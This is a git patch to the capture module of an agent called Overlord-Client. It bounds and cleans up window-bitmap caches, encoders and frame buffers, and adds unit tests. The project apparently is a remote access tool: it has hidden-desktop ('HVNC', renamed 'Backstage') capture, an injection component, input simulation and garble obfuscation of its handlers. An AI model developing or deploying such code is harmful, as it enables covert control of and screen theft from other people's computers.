From b68a306708e04090fca2ae9e1f0f6e750b5394be Mon Sep 17 00:00:00 2001 From: KingKDot Date: Sat, 1 Aug 2026 00:04:41 -0500 Subject: [PATCH] better cleaning up --- Dockerfile | 2 +- .../backstage_printwindow_windows_test.go | 32 ++++++++ .../cmd/agent/capture/backstage_windows.go | 82 ++++++++++++++++--- Overlord-Client/cmd/agent/capture/capture.go | 33 ++++++-- .../cmd/agent/capture/capture_test.go | 47 +++++++++++ .../desktop_encoder_capabilities_stub.go | 4 +- .../desktop_encoder_capabilities_windows.go | 26 ++++-- ...sktop_encoder_capabilities_windows_test.go | 22 ++++- .../h264_texture_encoder_windows_test.go | 30 +++++++ .../cmd/agent/capture/virtual_windows.go | 12 ++- Overlord-Client/cmd/agent/handlers/command.go | 2 +- Overlord-Client/cmd/agent/handlers/desktop.go | 1 + 12 files changed, 266 insertions(+), 27 deletions(-) diff --git a/Dockerfile b/Dockerfile index c105fe8..e1dded6 100644 --- a/Dockerfile +++ b/Dockerfile @@ -87,7 +87,7 @@ RUN --mount=type=cache,target=/root/.bun/install/cache \ # Server source (Overlord-Server/dist-clients may carry pre-built MSVC DLLs from CI) COPY Overlord-Server/ ./ -# HVNC sources for the cross-compile fallback (used only if no pre-built MSVC DLL). +# Backstage sources for the cross-compile fallback (used only if no pre-built MSVC DLL). COPY BackstageInjection/ ./BackstageInjection/ COPY scripts/build-backstage-dll.sh ./scripts/ COPY BackstageCapture/ ./BackstageCapture/ diff --git a/Overlord-Client/cmd/agent/capture/backstage_printwindow_windows_test.go b/Overlord-Client/cmd/agent/capture/backstage_printwindow_windows_test.go index fc79ce3..66daaa5 100644 --- a/Overlord-Client/cmd/agent/capture/backstage_printwindow_windows_test.go +++ b/Overlord-Client/cmd/agent/capture/backstage_printwindow_windows_test.go @@ -4,6 +4,38 @@ package capture import "testing" +func TestBackstageWindowCacheByteSizeAndLimit(t *testing.T) { + bytes, ok := backstageWindowCacheByteSize(3840, 2160) + if !ok || bytes != 3840*2160*4 { + t.Fatalf("4K cache size = %d, ok=%v", bytes, ok) + } + if bytes > backstageMaxWindowCacheBytes { + t.Fatal("one 4K window should fit within the cache budget") + } + if _, ok := backstageWindowCacheByteSize(0, 2160); ok { + t.Fatal("zero-width cache entry was accepted") + } +} + +func TestBackstageClearWindowCacheResetsAccounting(t *testing.T) { + savedCache := backstageWinCache + savedBytes := backstageWinCacheBytes + backstageWinCache = map[uintptr]*backstageWinCacheEntry{ + 1: {bytes: 40}, + 2: {bytes: 60}, + } + backstageWinCacheBytes = 100 + t.Cleanup(func() { + backstageWinCache = savedCache + backstageWinCacheBytes = savedBytes + }) + + backstageClearWindowCache() + if backstageWinCache != nil || backstageWinCacheBytes != 0 { + t.Fatalf("cache cleanup left entries=%d bytes=%d", len(backstageWinCache), backstageWinCacheBytes) + } +} + func TestBackstagePrintWindowFallbackToggle(t *testing.T) { SetbackstagePrintWindowFallbackEnabled(true) t.Cleanup(func() { SetbackstagePrintWindowFallbackEnabled(true) }) diff --git a/Overlord-Client/cmd/agent/capture/backstage_windows.go b/Overlord-Client/cmd/agent/capture/backstage_windows.go index 254281e..122cd33 100644 --- a/Overlord-Client/cmd/agent/capture/backstage_windows.go +++ b/Overlord-Client/cmd/agent/capture/backstage_windows.go @@ -187,8 +187,10 @@ var ( backstageLastScale atomic.Uint64 // float64 bits — scale used by last backstage capture // Capture cache: pooled DC/DIB per window to avoid per-frame allocation - backstageWinCache map[uintptr]*backstageWinCacheEntry - backstageWinCachePrev []byte + backstageWinCache map[uintptr]*backstageWinCacheEntry + backstageWinCachePrev []byte + backstageWinCacheBytes int64 + backstageWinCacheSeq uint64 backstageCompHdcMem uintptr backstageCompHbmp uintptr @@ -282,10 +284,17 @@ type backstageWinCacheEntry struct { hbmp uintptr bits unsafe.Pointer w, h int + bytes int64 + usedAt uint64 lastOK bool age int } +const ( + backstageMaxWindowCacheEntries = 64 + backstageMaxWindowCacheBytes = int64(256 << 20) +) + type keybdInput struct { wVk uint16 wScan uint16 @@ -375,16 +384,16 @@ func InitializebackstageDesktop() error { func CleanupbackstageDesktop() { backstageDesktopMu.Lock() defer backstageDesktopMu.Unlock() + ResetPrevbackstage() + resetH264D3D11TextureEncoder("backstage") backstageCleanupFrameReaders() + captureMu.Lock() backstageCleanupDWMThumbnails() backstageFreeCapCache() - for _, entry := range backstageWinCache { - backstageFreeCacheEntry(entry) - } - backstageWinCache = nil + backstageClearWindowCache() backstageWinCachePrev = nil if backstageCompHbmp != 0 { @@ -398,6 +407,7 @@ func CleanupbackstageDesktop() { backstageCompBits = nil backstageCompW = 0 backstageCompH = 0 + captureMu.Unlock() backstageInputMu.Lock() backstageShiftDown = false @@ -1705,10 +1715,9 @@ func drawbackstageWindowsToBuffer(hdcScreen uintptr, bounds image.Rectangle, tar } // Evict cache entries for windows that no longer exist - for h, entry := range backstageWinCache { + for h := range backstageWinCache { if !alive[h] { - backstageFreeCacheEntry(entry) - delete(backstageWinCache, h) + backstageRemoveWindowCacheEntry(h) } } @@ -1716,13 +1725,35 @@ func drawbackstageWindowsToBuffer(hdcScreen uintptr, bounds image.Rectangle, tar } func backstageGetOrCreateCache(hdcScreen uintptr, hwnd uintptr, w, h int) *backstageWinCacheEntry { + entryBytes, valid := backstageWindowCacheByteSize(w, h) + if !valid || entryBytes > backstageMaxWindowCacheBytes { + return nil + } + backstageWinCacheSeq++ entry, ok := backstageWinCache[hwnd] if ok && entry.w == w && entry.h == h && entry.hdcMem != 0 && entry.hbmp != 0 { entry.age = 0 + entry.usedAt = backstageWinCacheSeq return entry } if ok { - backstageFreeCacheEntry(entry) + backstageRemoveWindowCacheEntry(hwnd) + } + for len(backstageWinCache) >= backstageMaxWindowCacheEntries || backstageWinCacheBytes+entryBytes > backstageMaxWindowCacheBytes { + var oldestHandle uintptr + var oldestSeq uint64 + found := false + for handle, candidate := range backstageWinCache { + if !found || candidate.usedAt < oldestSeq { + oldestHandle = handle + oldestSeq = candidate.usedAt + found = true + } + } + if !found { + return nil + } + backstageRemoveWindowCacheEntry(oldestHandle) } hdcMem := createCompatibleDC(hdcScreen) if hdcMem == 0 { @@ -1752,11 +1783,42 @@ func backstageGetOrCreateCache(hdcScreen uintptr, hwnd uintptr, w, h int) *backs bits: bits, w: w, h: h, + bytes: entryBytes, + usedAt: backstageWinCacheSeq, } backstageWinCache[hwnd] = entry + backstageWinCacheBytes += entryBytes return entry } +func backstageWindowCacheByteSize(w, h int) (int64, bool) { + if w <= 0 || h <= 0 || int64(w) > (1<<63-1)/int64(h)/4 { + return 0, false + } + return int64(w) * int64(h) * 4, true +} + +func backstageRemoveWindowCacheEntry(hwnd uintptr) { + entry := backstageWinCache[hwnd] + if entry == nil { + return + } + backstageFreeCacheEntry(entry) + delete(backstageWinCache, hwnd) + backstageWinCacheBytes -= entry.bytes + if backstageWinCacheBytes < 0 { + backstageWinCacheBytes = 0 + } +} + +func backstageClearWindowCache() { + for hwnd := range backstageWinCache { + backstageRemoveWindowCacheEntry(hwnd) + } + backstageWinCache = nil + backstageWinCacheBytes = 0 +} + func backstageFreeCacheEntry(entry *backstageWinCacheEntry) { if entry.hbmp != 0 { deleteObject(entry.hbmp) diff --git a/Overlord-Client/cmd/agent/capture/capture.go b/Overlord-Client/cmd/agent/capture/capture.go index b5268b1..c138226 100644 --- a/Overlord-Client/cmd/agent/capture/capture.go +++ b/Overlord-Client/cmd/agent/capture/capture.go @@ -445,18 +445,30 @@ func captureAllDisplaysAndSend(ctx context.Context, env *rt.Env) error { } quality := desktopJPEGQuality() - frame, _, err := buildFrame(canvas, 0, quality) + frame, err := buildInitialDesktopThumbnail(canvas, quality) canvasW, canvasH := canvas.Rect.Dx(), canvas.Rect.Dy() PutRGBA(canvas) canvas = nil if err != nil { return err } - frame.Header.FPS = 1 log.Printf("capture: all-displays initial frame %dx%d (%d monitors)", canvasW, canvasH, n) return wire.WriteMsg(ctx, env.Conn, frame) } +func buildInitialDesktopThumbnail(img *image.RGBA, quality int) (wire.Frame, error) { + jpegBytes, err := encodeJPEG(img, quality) + return wire.Frame{ + Type: "frame", + Header: wire.FrameHeader{ + Monitor: 0, + FPS: 1, + Format: "jpeg", + }, + Data: jpegBytes, + }, err +} + func supportsCapture() bool { return safeActiveDisplays() > 0 } @@ -665,14 +677,25 @@ func consumeFullFrame() bool { } func ResetPrev() { - prevMu.Lock() - prevFrame = nil - prevMu.Unlock() + clearDesktopPreviousFrame() lastKeyframe.Store(0) requestFullFrames(2) resetH264Encoder() } +func clearDesktopPreviousFrame() { + prevMu.Lock() + prevFrame = nil + prevMu.Unlock() +} + +func CleanupDesktopStream() { + ResetDesktopCapture() + ResetPrev() + resetHEVCEncoder() + ResetFrameSlots() +} + func ResetPrevbackstage() { backstagePrevMu.Lock() backstagePrevFrame = nil diff --git a/Overlord-Client/cmd/agent/capture/capture_test.go b/Overlord-Client/cmd/agent/capture/capture_test.go index 6547c6d..cde58c3 100644 --- a/Overlord-Client/cmd/agent/capture/capture_test.go +++ b/Overlord-Client/cmd/agent/capture/capture_test.go @@ -23,6 +23,53 @@ type recordingWriter struct { types []websocket.MessageType } +func TestClearDesktopPreviousFrameReleasesStitchedBaseline(t *testing.T) { + marker := &prevImage{w: 3840, h: 2160, pix: make([]byte, 16)} + prevMu.Lock() + saved := prevFrame + prevFrame = marker + prevMu.Unlock() + t.Cleanup(func() { + prevMu.Lock() + prevFrame = saved + prevMu.Unlock() + }) + + clearDesktopPreviousFrame() + prevMu.Lock() + defer prevMu.Unlock() + if prevFrame != nil { + t.Fatal("desktop previous frame remained retained") + } +} + +func TestInitialDesktopThumbnailIsJPEGAndDoesNotReplaceBaseline(t *testing.T) { + marker := &prevImage{w: 1, h: 1, pix: []byte{0x42}} + prevMu.Lock() + saved := prevFrame + prevFrame = marker + prevMu.Unlock() + t.Cleanup(func() { + prevMu.Lock() + prevFrame = saved + prevMu.Unlock() + }) + + img := image.NewRGBA(image.Rect(0, 0, 4, 4)) + frame, err := buildInitialDesktopThumbnail(img, 80) + if err != nil { + t.Fatalf("build initial thumbnail: %v", err) + } + if frame.Header.Format != "jpeg" || frame.Header.FPS != 1 || len(frame.Data) == 0 { + t.Fatalf("unexpected initial frame header=%+v bytes=%d", frame.Header, len(frame.Data)) + } + prevMu.Lock() + defer prevMu.Unlock() + if prevFrame != marker { + t.Fatal("initial thumbnail replaced the live-stream delta baseline") + } +} + func TestEncodeBlocksBackstageAdvancesOnlyBackstageHistory(t *testing.T) { img := image.NewRGBA(image.Rect(0, 0, 64, 64)) for i := range img.Pix { diff --git a/Overlord-Client/cmd/agent/capture/desktop_encoder_capabilities_stub.go b/Overlord-Client/cmd/agent/capture/desktop_encoder_capabilities_stub.go index 92db909..5601a7e 100644 --- a/Overlord-Client/cmd/agent/capture/desktop_encoder_capabilities_stub.go +++ b/Overlord-Client/cmd/agent/capture/desktop_encoder_capabilities_stub.go @@ -2,7 +2,9 @@ package capture -func ProbeDesktopEncoderCapabilities(display int) DesktopEncoderCapabilities { +import "context" + +func ProbeDesktopEncoderCapabilities(_ context.Context, display int) DesktopEncoderCapabilities { return completeDesktopEncoderCapabilities(DesktopEncoderCapabilities{ Display: display, Profiles: []DesktopEncoderProfile{ diff --git a/Overlord-Client/cmd/agent/capture/desktop_encoder_capabilities_windows.go b/Overlord-Client/cmd/agent/capture/desktop_encoder_capabilities_windows.go index 278b7e2..4d3d524 100644 --- a/Overlord-Client/cmd/agent/capture/desktop_encoder_capabilities_windows.go +++ b/Overlord-Client/cmd/agent/capture/desktop_encoder_capabilities_windows.go @@ -3,6 +3,7 @@ package capture import ( + "context" "fmt" "image" "sort" @@ -35,7 +36,7 @@ type desktopProfileProbe struct { run func(h264D3D11TextureRequest) (time.Duration, error) } -func ProbeDesktopEncoderCapabilities(display int) DesktopEncoderCapabilities { +func ProbeDesktopEncoderCapabilities(ctx context.Context, display int) DesktopEncoderCapabilities { bounds := DisplayBounds(display) cacheKey := fmt.Sprintf("%d:%d:%d:%d:%d:%.3f", display, bounds.Min.X, bounds.Min.Y, bounds.Dx(), bounds.Dy(), captureScale()) desktopCapabilityCache.Lock() @@ -43,8 +44,12 @@ func ProbeDesktopEncoderCapabilities(display int) DesktopEncoderCapabilities { desktopCapabilityCache.Unlock() return cached.caps } - caps := probeDesktopEncoderCapabilities(display, bounds) + caps := probeDesktopEncoderCapabilities(ctx, display, bounds) caps = completeDesktopEncoderCapabilities(caps) + if ctx.Err() != nil { + desktopCapabilityCache.Unlock() + return caps + } desktopCapabilityCache.entries[cacheKey] = desktopCapabilityCacheEntry{at: time.Now(), caps: caps} for key, entry := range desktopCapabilityCache.entries { if time.Since(entry.at) >= desktopCapabilityCacheTTL { @@ -55,8 +60,13 @@ func ProbeDesktopEncoderCapabilities(display int) DesktopEncoderCapabilities { return caps } -func probeDesktopEncoderCapabilities(display int, bounds image.Rectangle) DesktopEncoderCapabilities { +func probeDesktopEncoderCapabilities(ctx context.Context, display int, bounds image.Rectangle) DesktopEncoderCapabilities { caps := DesktopEncoderCapabilities{Display: display} + if ctx.Err() != nil { + caps.Profiles = safeDesktopProfiles(bounds.Dx(), bounds.Dy()) + caps.Detail = "Hardware encoder capability probing was cancelled." + return caps + } if bounds.Dx() <= 0 || bounds.Dy() <= 0 { caps.Profiles = safeDesktopProfiles(1280, 720) caps.Detail = "Could not determine the selected display size; safe software profiles are shown." @@ -119,10 +129,14 @@ func probeDesktopEncoderCapabilities(display int, bounds image.Rectangle) Deskto fpsOptions := []int{240, 165, 144, 120, 90, 60, 30} sizes := desktopProbeSizes(nativeWidth, nativeHeight) providersByProfile := make(map[string][]string) +probeLoop: for _, size := range sizes { for _, probe := range probes { maxFPS := 0 for _, fps := range fpsOptions { + if ctx.Err() != nil { + break probeLoop + } if fps > desktopProfileFPSCeiling(size.height) { continue } @@ -175,11 +189,13 @@ func probeDesktopEncoderCapabilities(display int, bounds image.Rectangle) Deskto } return caps.Profiles[i].FPS > caps.Profiles[j].FPS }) - caps.Probed = true + caps.Probed = ctx.Err() == nil if len(caps.Profiles) == 0 { caps.Profiles = safeDesktopProfiles(nativeWidth, nativeHeight) } - if !hardwareProfilesFound { + if ctx.Err() != nil { + caps.Detail = "Hardware encoder capability probing was cancelled." + } else if !hardwareProfilesFound { caps.Detail = "No hardware H.264 profile initialized successfully; safe software profiles are shown." } else { caps.Detail = "Profiles were tested on the selected display adapter." diff --git a/Overlord-Client/cmd/agent/capture/desktop_encoder_capabilities_windows_test.go b/Overlord-Client/cmd/agent/capture/desktop_encoder_capabilities_windows_test.go index 7bfbb98..f62dfc7 100644 --- a/Overlord-Client/cmd/agent/capture/desktop_encoder_capabilities_windows_test.go +++ b/Overlord-Client/cmd/agent/capture/desktop_encoder_capabilities_windows_test.go @@ -1,6 +1,10 @@ package capture -import "testing" +import ( + "context" + "image" + "testing" +) func TestDesktopProfileFPSCeiling(t *testing.T) { tests := []struct { @@ -19,3 +23,19 @@ func TestDesktopProfileFPSCeiling(t *testing.T) { } } } + +func TestDesktopEncoderCapabilityProbeHonorsPreCancelledContext(t *testing.T) { + ctx, cancel := context.WithCancel(context.Background()) + cancel() + + caps := probeDesktopEncoderCapabilities(ctx, 0, image.Rect(0, 0, 3840, 2160)) + if caps.Probed { + t.Fatal("cancelled probe reported itself as completed") + } + if len(caps.Profiles) == 0 { + t.Fatal("cancelled probe did not return safe fallback profiles") + } + if caps.Detail != "Hardware encoder capability probing was cancelled." { + t.Fatalf("unexpected cancellation detail %q", caps.Detail) + } +} diff --git a/Overlord-Client/cmd/agent/capture/h264_texture_encoder_windows_test.go b/Overlord-Client/cmd/agent/capture/h264_texture_encoder_windows_test.go index f334e8e..56d9a44 100644 --- a/Overlord-Client/cmd/agent/capture/h264_texture_encoder_windows_test.go +++ b/Overlord-Client/cmd/agent/capture/h264_texture_encoder_windows_test.go @@ -124,6 +124,36 @@ type fakeH264FrameEncoder struct { closed bool } +func TestCleanupDesktopStreamClosesFrameEncoders(t *testing.T) { + desktop := &fakeH264FrameEncoder{} + hevc := &fakeH264FrameEncoder{} + + h264Mu.Lock() + savedDesktop := h264Enc + h264Enc = desktop + h264Mu.Unlock() + hevcMu.Lock() + savedHEVC := hevcEnc + hevcEnc = hevc + hevcMu.Unlock() + t.Cleanup(func() { + h264Mu.Lock() + h264Enc = savedDesktop + h264Mu.Unlock() + hevcMu.Lock() + hevcEnc = savedHEVC + hevcMu.Unlock() + }) + + CleanupDesktopStream() + if !desktop.closed { + t.Error("desktop H.264 encoder was not closed") + } + if !hevc.closed { + t.Error("desktop HEVC encoder was not closed") + } +} + func (e *fakeH264FrameEncoder) Encode(*image.RGBA) ([]byte, error) { e.encodeCall++ return e.output, e.err diff --git a/Overlord-Client/cmd/agent/capture/virtual_windows.go b/Overlord-Client/cmd/agent/capture/virtual_windows.go index 8a6b08f..14b83e3 100644 --- a/Overlord-Client/cmd/agent/capture/virtual_windows.go +++ b/Overlord-Client/cmd/agent/capture/virtual_windows.go @@ -137,6 +137,13 @@ func CleanupVirtualMode() { virtualDupState.mu.Lock() virtualDupState.close() virtualDupState.mu.Unlock() + ResetPrevbackstage() + resetH264D3D11TextureEncoder("backstage") + captureMu.Lock() + backstageFreeCapCache() + backstageClearWindowCache() + virtualCapImg = nil + captureMu.Unlock() virtualInputMu.Lock() virtualShiftDown = false @@ -2495,10 +2502,9 @@ func drawVirtualWindowsToBuffer(hdcScreen uintptr, bounds image.Rectangle, targe hwnd = getWindow(hwnd, GW_HWNDPREV) } - for h, entry := range backstageWinCache { + for h := range backstageWinCache { if !alive[h] { - backstageFreeCacheEntry(entry) - delete(backstageWinCache, h) + backstageRemoveWindowCacheEntry(h) } } diff --git a/Overlord-Client/cmd/agent/handlers/command.go b/Overlord-Client/cmd/agent/handlers/command.go index 2b6492c..f8c55dd 100644 --- a/Overlord-Client/cmd/agent/handlers/command.go +++ b/Overlord-Client/cmd/agent/handlers/command.go @@ -899,7 +899,7 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in display = 0 } goSafe("desktop encoder capability probe", env.Cancel, func() { - caps := capture.ProbeDesktopEncoderCapabilities(display) + caps := capture.ProbeDesktopEncoderCapabilities(ctx, display) profiles := make([]wire.DesktopEncoderProfile, 0, len(caps.Profiles)) for _, profile := range caps.Profiles { profiles = append(profiles, wire.DesktopEncoderProfile{ diff --git a/Overlord-Client/cmd/agent/handlers/desktop.go b/Overlord-Client/cmd/agent/handlers/desktop.go index 6e78c56..d8bd470 100644 --- a/Overlord-Client/cmd/agent/handlers/desktop.go +++ b/Overlord-Client/cmd/agent/handlers/desktop.go @@ -30,6 +30,7 @@ func GetPersistedDisplay() int { func DesktopStart(ctx context.Context, env *rt.Env) error { //garble:controlflow block_splits=10 junk_jumps=10 flatten_passes=2 + defer capture.CleanupDesktopStream() fps := activeDesktopTargetFPS() interval := time.Second / time.Duration(fps) capture.SetDesktopH264TargetFPS(fps)